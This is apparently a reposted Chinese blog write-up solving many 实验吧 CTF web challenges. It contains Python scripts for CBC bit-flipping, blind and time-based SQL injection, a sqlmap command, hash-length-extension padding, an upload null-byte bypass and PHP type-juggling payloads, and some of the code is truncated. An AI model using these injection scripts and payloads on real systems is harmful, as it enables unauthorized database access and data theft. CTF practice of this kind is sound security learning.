php逻辑难是难在sql,[实验吧] 所有web writeup

转载

百悦宠物 于 2021-03-13 04:50:38 发布 32 收藏
文章标签： php逻辑难是难在sql

实验吧 writeup

打算把实验吧所有的web题做一遍

花了一个礼拜多的时间吧

有些也看了wp不得不说收获挺大

WEB

简单的登录题

F12看下网络里面里面的请求头中有一个tips:test.php

里面有源码

```
define("SECRET_KEY", '**********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
```

```
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("
base64_decode('".base64_encode($plain)."') can't unserialize
");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '
<h1>Hello!'.$rows['username'].'</h1>
';
}
else{
echo '
<h1>Hello!</h1>
';
}
}else{
die("ERROR!");
}
}
}
```

```
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("
```

sql inject detected!

```
");
$info = array('id'=>$id);
login($info);
echo '
```

Hello!

```
';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '
```

Login Form

```
input id to login
';
}
}
```

看起来源码很像一个cbc翻转加密的题目

主要就是将他其中的一个不一样的字符经过翻转得到自己想要的那个字母

```
# -*- coding:utf8 -*-
from base64 import *
import urllib
import requests
import re
def denglu(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id': payload}
r = requests.post(url, data=payload)
```

```
Set_Cookie=r.headers['Set-Cookie']

iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]

cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]

iv_raw = b64decode(urllib.unquote(iv))

cipher_raw=b64decode(urllib.unquote(cipher))

lst=list(cipher_raw)

lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

cipher_new=''.join(lst)

cipher_new=urllib.quote(b64encode(cipher_new))

cookie_new={'iv': iv,'cipher':cipher_new}

r = requests.post(url, cookies=cookie_new)

cont=r.content

plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]

plain = b64decode(plain)

first='a:1:{s:2:"id";s:'

iv_new=''

for i in range(16):

iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

iv_new = urllib.quote(b64encode(iv_new))

cookie_new = {'iv': iv_new, 'cipher': cipher_new}

r = requests.post(url, cookies=cookie_new)

rcont = r.content

print rcont

denglu('12',4,'2','#')

denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')

denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')

denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')

denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')

后台登录

$password=$_POST['password'];
```

$sql = "SELECT * FROM admin WHERE username = 'admin' and password = "'.md5($password,true).'"";

$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0){

echo 'flag is :'.$flag;

}

else{

echo '密码错误!';

}

只有password可以输入，然后通过了MD5

这时候可以通过一个数通过MD5中间含有or就行

ffifdyop = 'or'6

sql语句 = SELECT * FROM admin WHERE username = 'admin' and password = "or'6...'

所以password为真，就可以得到flag了

题目文件都给提示了=。=

加了料的报错注入

既然是报错注入就试试报错注入

抓包发送

不知道为啥bp不能用，我估计是请求头中accept的问题吧，于是我换了postman

fuzz的时候莫名其妙登录进去了，掏出mysql报错注入小本子试一试

在fuzz的时候发现：username中不允许使用()

password中不允许使用floor、extractvalue等这些报错函数

也就是说，我们可以username里写报错函数名，password里写剩下的语句，但是这样会有多余的'and password='那要怎么做呢？

猜测sql语句应该是where username='???' and password='???' 而sql语句中可以使用//注释掉中间的SQL语句。也就是说，我们可以使用//来解决这个问题，而且/**/也没有被吃掉，这叫做HTTP分割注入。

构造语句username='or extractvalue /*，password=*/(1, concat(0x5c,(select database()))) or'，这样一结合就是

select * from users where username="or extractvalue /*' and password='*/(1, concat(0x5c,(select database()))) or" 报错出数据库名

有了应该就是叫hpf http 分割注入

接下来就可以一步一步做了

(select group_concat(table_name) from information_schema.tables where table_schema=database()在尝试这个语句的时候发生了错误，想起来=被过滤了

可以用like regexp 来绕过试一下

可以了，like被过滤了

列名

flag

认真一点

看起来又是一道注入题

试了一下好像过滤了空格不能有空格这没关系有括号可以代替空格

然后它是将一些语句为空那就很简单呀=。=

if也被过滤了

还好等于号没过滤

发现逗号也被过滤了，可以用from for

就是这样

payload

```
# coding:utf-8
import requests
import string
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
s = requests.session()
ascil = string.printable
def exploit(payload):
payload = payload.replace(' ',chr(0x0a))
flag = ''
```

```
for i in range(1,32):

for j in ascil:

temp = j

data = {'id':payload.format(i,temp)}

html = s.post(url,data=data)

# print data

if "You are in" in html.content:

flag += j

print flag

break

# exploit("0'oorr(mid(database()from({})foorr(1))='{}')oorr'0")

#
exploit("0'oorr((select(mid(group_concat(table_name)from({})foorr(1)))from(infoorrmation_schema.tables)where(

#
exploit("0'oorr((select(mid(group_concat(column_name)from({})foorr(1)))from(infoorrmation_schema.columns)wh

exploit("0'oorr((select(mid((fl$4g)from({})foorr(1)))from(fiag))='{}')oorr'0")
```

应该是我里面的空格被替换成*了所以只要把*换成空格就行了

你真的会php吗

一道代码审计题目

在头里面藏了一个hint:6c525af4059b4fe7d8c33a.txt

访问一下

```
$info = "";

$req = [];

$flag="xxxxxxxxx";

ini_set("display_error", false);

error_reporting(0);

if(!isset($_POST['number'])){

header("hint:6c525af4059b4fe7d8c33a.txt");

die("have a fun!!");

}
```

```
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
```

}else{

$info=$flag;

}

}

}

echo $info;

经过审计我们可以发现如果我们要拿到flag，POST的number需要满足以下条件：

1.不为空，且不能是一个数值型数字，包括小数。(由is_numeric函数判断)

2.不能是一个回文数。(is_palindrome_number判断)

3.该数的反转的整数值应该和它本身的整数值相等。

得需要%00来绕过is_numeric的判断

payload:number=0e00%00

登陆一下好吗??

又是一道注入题=。=

根据题目的提示，获知该题目的目的使用sql注入来绕过登陆。

猜测后台的sql应该是

select * from table where username= ‘username′andpassword=′

password’

进过测试，发现过滤了以下字符

| , – , or , union , # , select ,* ,/

这写字符没办法绕过。

但是为了登陆成功，需要让 sql语句返回true。

除了pact想到的同双等号绕外，还有一种方法，主要用到以下两个技巧：

第一： mysql的数据类型转换特性。

通过这个图，应该可以看明白啦， user是一个字符串类型的，当他接受到一个整型值切值为0的时候，就会返回数据库的所有条目。 一个字符串加一个整形，会自动的变量类型转换，变为一个整型。

所以，只需要让sql执行

就行了

who are you?

进入之后显示了

看了头和页面没有任何信息

改了X-Forwarded-For可以随便写东西

觉得是X-Forwarded-For注入，但是什么输进去都原封不动。。

很迷

sqlmap -u "http://ctf5.shiyanbar.com/web/wonderkun/index.php" --headers="X-Forwarded-For:*" --dbms=mysql --dbs --random-agent

试一下

后来看了一下知道了是基于时间的盲注

了解了一下时间盲注

主要用case when语句

掏出脚本

payload

```
#-*-coding:utf-8-*-

import requests

import string

url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"

guess=string.letters

flag=""

for i in range(1,100):

havetry=0

for j in guess:

headers={"x-forwarded-for":'" +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,j)}

try:

res=requests.get(url,headers=headers,timeout=4)

except requests.exceptions.ReadTimeout, e:

havetry=1
```

flag = flag + j

print "flag:", flag

break

if havetry==0:

break

print 'result:' + flag

跑个flag一直被ban好难受

真的跑了很久。

因缺思汀的绕过

为啥全是注入！

噗这道题我做过，就是我参加的iscc线下的题目

具体请看iscc线下的writeup

主要就是group by with rollup 会在结果最后插入一个null，然后用offest 到那个null 密码为空就行

大概这样

所以payload

简单的sql注入之3

注释符还是被过滤了

给了提示报错注入，那就试试

骗人是盲注

#!/usr/bin/python

#coding=utf-8

#Author = One

import requests

def main():

n = 0

binary = ""

flag = ""

for i in range(1,1000):

```
for j in range(8):

url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and 1=if((ascii(substring((select flag from flag),"+str(i)+",1))%26"+str(2**j)+")="+str(2**j)+",1,0) %23"

request = requests.get(url)

if(request.text.find('Hello!') != -1):

binary = '1'+binary

n = 0

else:

binary = '0'+binary

n += 1

print chr(int(binary,2)),

flag += chr(int(binary,2))

binary = ""

if(n >= 8):

print "\n"+flag

break

if __name__ == '__main__':

main()
```

答案还是跟下面两题一样

简单的sql注入之2

数字型注入，难道要盲注？？

当有空格的时候会有SQLi detected!

空格可以用/**/()来绕过

简单的sql注入

fuzz一下=。=

发现注释符被过滤了

/* -- -都不能用 新学的;%00也不行

尝试最后把他闭合了

大概这样试一试

where也被过滤了

日哟

哦突然想起来他只是变成了空白。。那就很简单了，空格也被过滤了

不明白重复两个他就只会删掉一个

payload:http://ctf5.shiyanbar.com/423/web/?id=1' unionunion selectselect flag fromfrom flag wherewhere 't'='t

中间的空格都是重复两次的

天下武功唯快不破

有一个base64加密的值

解密之后P0ST_THIS_T0_CH4NGE_FL4G:DEs3oWSYK

然后发现这个值一直会变看了主题就懂了，上脚本！

```
import requests
import base64
url = 'http://ctf5.shiyanbar.com/web/10/10.php'
s = requests.Session()
html = s.get(url)
base = base64.b64decode(html.headers['FLAG'])
data = base[-9:]
html = s.post(url,data=dict(key=data))
print html.tex
```

让我进去

把cookie里面的source改成1之后会有源码

```
$flag = "XXXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
```

```
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
```

噗就是让他从不是admin变成admin有点像cbc翻转的意思但又不是那应该是哈希长度扩展攻击了

长度是15

打开hashpump

原理不解释了=。=，我也不懂

20是因为key为15加上admin之后就是20了

```
password=admin%80%00%00%00%00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
```

拐弯抹角

进去给了源码=。=

挺长的

```
// code by SEC@USTC

echo '

';
$URL = $_SERVER['REQUEST_URI'];

//echo 'URL: '.$URL.'
';

$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));

$stop = 0;

//这道题目本身也有教学的目的

//第一，我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的

//所以，第一个要求就是不得出现 ./

if($flag && strpos($URL, './') !== FALSE){

$flag = "";

$stop = 1; //Pass

}

//第二，我们可以构造 \ 来代替被过滤的 /

//所以，第二个要求就是不得出现 ../

if($flag && strpos($URL, '\\') !== FALSE){

$flag = "";

$stop = 2; //Pass

}

//第三，有的系统大小写通用，例如 indirectioN/

//你也可以用?和#等等的字符绕过，这需要统一解决

//所以，第三个要求对可以用的字符做了限制，a-z / 和 .

$matches = array();

preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);

if($flag && empty($matches) || $matches[1] != $URL){

$flag = "";

$stop = 3; //Pass

}
```

```
//第四，多个 / 也是可以的
//所以，第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}
//第五，显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php，并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Not Pass
}
//第六，我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Not Pass
}
//第七，现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Not Pass
}
if(!$stop) $stop = 8;
echo 'Flag: '.$flag;
echo '
```

```
';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
```

```
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);
echo highlight_string($code, TRUE);
echo '';
```


噗成功的莫名其妙，感觉就是我之前做的hitcon的一道题

因为必须要index.php结尾，不然其实后面加什么都可以的，这好像是Apache的特性？当我乱说。

Forms

进入首页，发下数据包会发现在post后面有一个多的叫showsource

把他改成1之后会显示出源码

把这个输入进去就好了。。。太简单了吧我没懂pin的意思

天网管理系统

这道题下面有一行注释

很简单，弱等于只要一个MD5出来是0e的就可以了

举个例子240610708这个就可以

username=240610708

可得到提示 /user.php?fame=hjkleffifer

有了新的代码来审计

又是弱等于，很简单

true == ？？？ 都是true 所以只要序列化一个true就可以了

payload = a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

就可以得到flag:ctf{dwduwkhduw5465}

忘记密码了

进入首页，然后填入一个邮箱

在step2.php中可以看到admin的账号

还可以看到有vim，估计有vim的备份泄露

继续跟进submit.php

访问下submit.php.swp

在submit中有代码审计

token要为长度为10的0 然后账号之前已经得到了，输入

http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

Once More

进入题目就给了源码，代码审计一波，

题目提示了是ereg的漏洞

```
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '
You password must be alphanumeric
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('
*-* have not been found
```

');
}

}

else

{

echo '

Invalid password

';
}

}

?>

用科学技术法可以绕过第一层的验证

ereg遇到%00会截断那就很简单了

为啥不行？？？

就可以了。。我觉得应该是1e10太大了吧

直接提交一个空数组也是可以过所有的验证的

Guess Next Session

进去又是一道给源码的题目了看下源码

session_start();

if (isset ($_GET['password'])) {

if ($_GET['password'] == $_SESSION['password'])

die ('Flag: '.$flag);

else

print '

Wrong guess.

';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));

?>

一开始看了一眼一筹莫展，然后我发现了他居然只有两个等号

弱等于的话

可是我输入了password=true并无软用

不懂了，看下wp他们说清一下session就可以了，为啥=。=

网页中的三行数据是根据你Cookie传送的数据随机生成的，没有规律可循。用BP抓到包后，你删除Cookie内容和代码里你输入的password的值再Go一下，服务器接收的Cookie信息为空，生成的四个数根据算法也全部为空，和你输入的password的值相符(就是你什么都没输入)，输出flag。仅为个人理解，不代表正确答案。

FALSE

有源码

```
if (isset($_GET['name']) and isset($_GET['password'])) {

if ($_GET['name'] == $_GET['password'])

echo '

Your password can not be your name!

';
else if (sha1($_GET['name']) === sha1($_GET['password']))

die('Flag: '.$flag);

else

echo '

Invalid password.

';
}

else{

echo '

Login first!

';
?>
```

噗看到这个我都是用数组的反正MD5和sha1在数组都是null所以都可以过

上传绕过

上传可以，然后上传一个php呢

用bp抓包用0x00来绕过

上传一张图片，在/uploads/后面加上一个1.php+ 然后发送到repeater 用十六进制打开 找到+所在的位置

把+的十六进制2b改为00 直接go

然后就可以了

NSCTF 200

进入就是一张图片

一步一步来就是了

解密脚本->先解rot13，在翻转，在base64，在按位加

```
import base64
import rot13
ciper = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws'
ciper = rot13.de_rot13(ciper)
ciper = base64.b64decode(ciper[::-1])
flag = ''
for i in ciper:
flag+=chr(ord(i)-1)
print(flag[::-1])
```

程序逻辑问题

emmm全是登录emmm

给源码了看一看

welcome to simplexue

```
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "******", "*********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
```

```
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "
Logged in! Key:**************
";
}
else {
echo("
Log in failure!
");
}
}
?>
```

看了一下源码，应该可以伪造一个pw

来给自己的password做答案

大概这样就行了

就是这样嘻嘻嘻

what a fuck!这是什么鬼东西

emmm 果然跟题目一样jsfuck，解密一下

解密出来是这个,就行了

PHP大法

很简单二次编码就好了，后面有一个urldecode就可以绕过了

id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%6

这个看起来有点简单

进去就是这样的看样子是一道很简单的注入题

和 -- -好像被过滤了

可以使用union来进行注入

获取当前数据库

1 union select 1,database()

获取数据库中的表

1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())

1 union select 1,k0y from thiskey

ok

貌似有点难

进去之后看到源码


```
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
```

$GetIPs = GetIP();

if ($GetIPs=="1.1.1.1"){

echo "Great! Key is *********";

}

else{

echo "错误！你的IP不在访问列表之内！";

}

CLIENT-IP 和 X-FORWARDED-IP 随便改一个应该都行

我去改一下 CLIENT-IP

头有点大

看题目我就知道应该要看请求头

发现并没啥=。=

看了内容

要改user-agent和浏览器还有地址

猫抓老鼠

在请求头重可以找到

base64可以解

但是答案是不用base64解开来

直接输入就行

看起来有点难

可以发现当输入admin和别的时候显示的是不同的

就可以对是否有显示登录失败进行布尔盲注

噗sqlmap跑出来了=。=,看来思路错了，sqlmap说只有时间盲注

直接跑flag

过程

输入账号密码就行了